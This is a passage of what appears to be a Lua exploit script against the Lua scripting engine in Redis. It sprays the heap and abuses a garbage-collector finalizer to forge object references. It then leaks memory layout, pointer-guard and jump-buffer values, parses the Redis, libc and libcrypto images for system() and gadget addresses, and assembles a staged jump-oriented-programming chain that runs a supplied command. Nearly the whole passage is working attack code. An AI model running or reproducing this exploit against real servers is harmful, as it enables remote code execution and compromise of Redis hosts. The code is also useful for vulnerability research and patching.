    "\0\0\0\0\0\0\0\0" ..                               --  0x18
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s3d))     --  0xa0

  -- 12.2
  local s3b =
    "\0\0\0\0\0\0\0\0" ..                               --  0x0
    struct.pack("<L", gadgets.f12)                      --  0x8

  -- 11.2
  local s3a =
    "\0\0\0\0\0\0\0\0" ..                               --  0x0
    struct.pack("<L", gadgets.d2b) ..                   --  0x8
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x10
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s3b))     --  0xa0
 
  ------------------------------------------------------------
  --- Stage2 - call longjmp ----------------------------------
  ------------------------------------------------------------

  -- 10.2
  local s2d =
    "\0\0\0\0\0\0\0\0" ..                               --  0x0
    struct.pack("<L", gadgets.d2b) ..                   --  0x8
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x10
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s3a))     --  0xa0

  -- 9.1
  local s2c = 
    struct.pack("<L", gadgets.f1) ..                    --  0x0
    struct.pack("<L", gadgets.d2b) ..                   --  0x8
    struct.pack("<L", gadgets.d2a) ..                   --  0x10
    "\0\0\0\0\0\0\0\0" ..                               --  0x18
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s2d))     --  0xa0

  -- 8.1
  local s2b = 
    struct.pack("<L", gadgets.d2a) ..                   --  0x0
    struct.pack("<L", gadgets.f1) ..                    --  0x8
    struct.pack("<L", gadgets.d2c) ..                   --  0x10
    "\0\0\0\0\0\0\0\0" ..                               --  0x18
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s2c))     --  0xa0

  -- 7: jmpbuf at offset 0xb8 is next state, 0xa0 used in stage3
  addrs.jmpbuf = new_jmpbuf(t, 
                            jmpbuf, 
                            pointerguard, 
                            gadgets, 
                            redisdump, 
                            leak_tstring_address(t, s2b),
                            leak_tstring_address(t, s3c))

  -- 6.1
  local s2a = 
    struct.pack("<L", addrs.longjmp)  ..                --  0x0
    struct.pack("<L", gadgets.d2b)                      --  0x8

  ------------------------------------------------------------
  --- Stage1 - set up initial state --------------------------
  ------------------------------------------------------------

  -- 5.1
  local s1c = 
    struct.pack("<L", gadgets.d2a) ..                   --  0x0
    struct.pack("<L", gadgets.d2b) ..                   --  0x8
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x10
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s2a))     --  0xa0

  -- 2.1.3
  local s1b =
    struct.pack("<L", gadgets.d2a) ..                   --  0x0
    struct.pack("<L", addrs.jmpbuf) ..                  --  0x8  
    struct.pack("<L", gadgets.d2c) ..                   --  0x10
    struct.pack("<L", gadgets.f2) ..                    --  0x18 
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    struct.pack("<L", gadgets.f1) ..                    --  0x30
    struct.pack("<L", gadgets.d1b) ..                   --  0x38
    struct.pack("<L", gadgets.f1) ..                    --  0x40
    "\0\0\0\0\0\0\0\0" ..                               --  0x48
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s1c))     --  0xa0

  -- 1.1.3
  local s1a =
    struct.pack("<L", leak_tstring_address(t, s1b)) ..  --  0x0
    "\0\0\0\0\0\0\0\0" ..                               --  0x8  
    struct.pack("<L", addrs.command) ..                 --  0x10
    struct.pack("<L", gadgets.d1a) ..                   --  0x18 
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0" ..                               --  0x30
    struct.pack("<L", gadgets.d1b)                      --  0x38

  return leak_tstring_address(t, s1a)
end

local jop_start = function(t, redisdump, addrs, gadgets)
  local fnlookup = {}

  log_s("[/] Leaking command address")
  addrs.command = leak_command_address(t)

  log_s("[/] Leaking lua_State contents")
  local threadtemplate = leak_thread(t, fnlookup)

  log_s("[/] Leaking pointerguard")
  local pointerguard = leak_pointerguard(t, addrs.server)

  log_s("[/] Leaking jmpbuf")
  local jmpbuf_template = leak_jmpbuf(t, addrs.errorjmp)

  log_s("[/] Constructing jopstate")
  addrs.jopstate = new_jopstate(t, addrs, gadgets, jmpbuf_template, pointerguard, redisdump)

  log_s("[/] Constructing CClosure")
  local fnaddr = new_cclosure(t, gadgets)

  log_s("[/] Constructing thread")
  local luastateaddr = new_thread(t, addrs, threadtemplate)

  log_s("------")
  log("CClosure=0x%x", fnaddr)
  log("thread=0x%x", luastateaddr)
  log("jopstate=0x%x", addrs.jopstate)
  log("command=0x%x", addrs.command)
  log_s("------")

  collectgarbage("restart")
  collectgarbage("step")

  log_s("[/] Obtaining reference to CClosure")
  forge_reference_prepare_heap("DDDDDDDD", "DDDDDDDD", 64)
  forge_function_reference(struct.pack("<L", fnaddr))
  collectgarbage("stop")
  fnlookup.fn = getmetatable(t.proxy)[1]
  collectgarbage("restart")
  collectgarbage("step")
  log_s(tostring(fnlookup.fn))

  log_s("[/] Obtaining reference to thread")
  forge_reference_prepare_heap("CCCCCCCC", "CCCCCCCC", 64)
  forge_thread_reference(struct.pack("<L", luastateaddr))
  collectgarbage("stop")
  local thread = getmetatable(t.proxy)[1]
  log_s(tostring(thread))

  log_s("[+] Triggering JOP chain!")
  coroutine.resume(thread)

  fnlookup.fn = 0
  thread = nil
end

local proxy_finalizer = function(t)
  log_s("proxy_finalizer(): begin")

  -- Free the proxy and adjacent chunks
  collectgarbage("restart")
  collectgarbage("setstepmul", 0)
  collectgarbage("step", 1)

  -- Trigger fastbin consolidation
  LargeChunk = nil  
  collectgarbage("step")

  -- Spray strings and overwrite
  for i=1,#GlobalState.spray5 do
    GlobalState.spray5[i] = GlobalState.prefixes2[i] .. ARGV[1]
  end

  log_s("[/] Retrieving global_State address")
  local globalstate_addr = extract_globalstate_address(getmetatable(t.proxy)[1])
  
  log_s("[/] Retrieving panic() and mainthread address")
  forge_tstring_reference(struct.pack("<L", globalstate_addr))
  collectgarbage("stop")
  local s = getmetatable(t.proxy)[1]
  local panic_addr = extract_panic_address(s)
  local mainthread_addr = extract_mainthread_address(s)
  s = nil
  collectgarbage("restart")

  log_s("[/] Retrieving errorJmp address")
  forge_tstring_reference(struct.pack("<L", mainthread_addr + 0x10))
  local errorjmpaddr = extract_errorjmp_address(getmetatable(t.proxy)[1])
  
  log_s("[/] Parsing Redis ELF/Loader info")
  local redisdump = dump_binary(t, {
    addr=panic_addr,
    signature=0x10102464c457f,
    symbols=true,
    relocations=true
  })

  local redisgot = extract_relocations(redisdump, {
    close=1,
    OPENSSL_init_crypto=1,
  })

  local redissymbols = extract_symbols(redisdump, {
    server=1,
  })

  local server_addr = redissymbols.server.addr

  log_s("------")
  log("redis: base=0x%x, size=0x%x", redisdump.progbytes_addr, #redisdump.progbytes)
  log("close()=0x%x", redisgot.close.addr)
  log("OPENSSL_init_crypto()=0x%x", redisgot.OPENSSL_init_crypto.addr)
  log("server=0x%x", server_addr)
  log_s("------")

  collectgarbage("restart")
  collectgarbage("step")

  log_s("[/] Parsing libc ELF/Loader info")
  local libcdump = dump_binary(t, {
    addr=redisgot.close.addr,
    signature=0x3010102464c4580,
    symbols=true
  })

  local libcsymbols = extract_symbols(libcdump, {
    system=1,
    _longjmp=1,
  })

  local system_addr = libcsymbols.system.addr
  local longjmp_addr = libcsymbols._longjmp.addr

  log_s("------")
  log("libc: base=0x%x, size=0x%x", libcdump.progbytes_addr, #libcdump.progbytes)
  log("system()=0x%x", system_addr)
  log("_longjmp()=0x%x", longjmp_addr)
  log_s("------")

  collectgarbage("restart")
  collectgarbage("step")

  log_s("[/] Parsing libcrypto ELF/Loader info")
  local libcryptodump = dump_binary(t, {
    addr=redisgot.OPENSSL_init_crypto.addr,
    signature=0x10102464c457f
  })

  log_s("------")
  log("libcrypto: base=0x%x, size=0x%x", libcryptodump.progbytes_addr, #libcryptodump.progbytes)
  log_s("------")

  log_s("[/] Extracting gadget addresses")
  local gadgets = extract_gadgets(libcdump, libcryptodump)

  collectgarbage("restart")
  collectgarbage("step")

  log_s("[/] Preparing JOP")
  local addrs = {
    system=system_addr,
    server=server_addr,
    errorjmp=errorjmpaddr,
    longjmp=longjmp_addr,
  }
  jop_start(t, redisdump, addrs, gadgets)

  t.proxy = nil
  log_s("proxy_finalizer(): end")
end

local configure_proxy = function(t, proxy)
  getmetatable(proxy).__gc = function() proxy_finalizer(t) end
  t['proxy'] = proxy
  return t
end

log_s("[/] Beginning exploit")

-- Populate prefixes to generate unique string hashes when spraying
for i=1,#GlobalState.prefixes2 do
  GlobalState.prefixes2[i] = struct.pack("<Ls", i, "ZZZZZZZZZZZZZZZ")
end

-- Populate tcache for Udata.table to avoid adjacent allocation
for i=1,#GlobalState.spray4 do
  GlobalState.spray4[i] = {}
end
for i=1,#GlobalState.spray4 do
  GlobalState.spray4[i] = 1
end

collectgarbage()

-- Consume fragmented 40 byte chunks
for i=1,#GlobalState.spray1 do
  GlobalState.spray1[i] = newproxy(false)
end

-- Allocate Udata
for i=1,#GlobalState.spray2 do
  GlobalState.spray2[i] = newproxy(false)
end

configure_proxy(GlobalState.proxytable, newproxy(true))

-- Allocate chunks after Udata
for i=1,#GlobalState.spray3 do
  GlobalState.spray3[i] = newproxy(false)
end

-- Fill tcache to avoid our Udata being placed there
for i=1,#GlobalState.spray4 do
  GlobalState.spray4[i] = newproxy(false)
end
for i=1,#GlobalState.spray4 do
  GlobalState.spray4[i] = 1
end


log("proxy + 0x28 = %s", tostring(GlobalState.proxytable.proxy))
log("proxytable = %s", tostring(GlobalState.proxytable))
collectgarbage()

-- When proxy is freed, we'll also free adjacent chunks
for i=1,#GlobalState.spray2 do
  GlobalState.spray2[i] = 0
end
for i=1,#GlobalState.spray3 do
  GlobalState.spray3[i] = 0
end

-- Advance GC to just before atomic
log_s("[/] Advancing GC to atomic()")
collectgarbage("setstepmul", 1)
for i=1,152 do
  collectgarbage("step", 1)
  collectgarbage("restart")
end
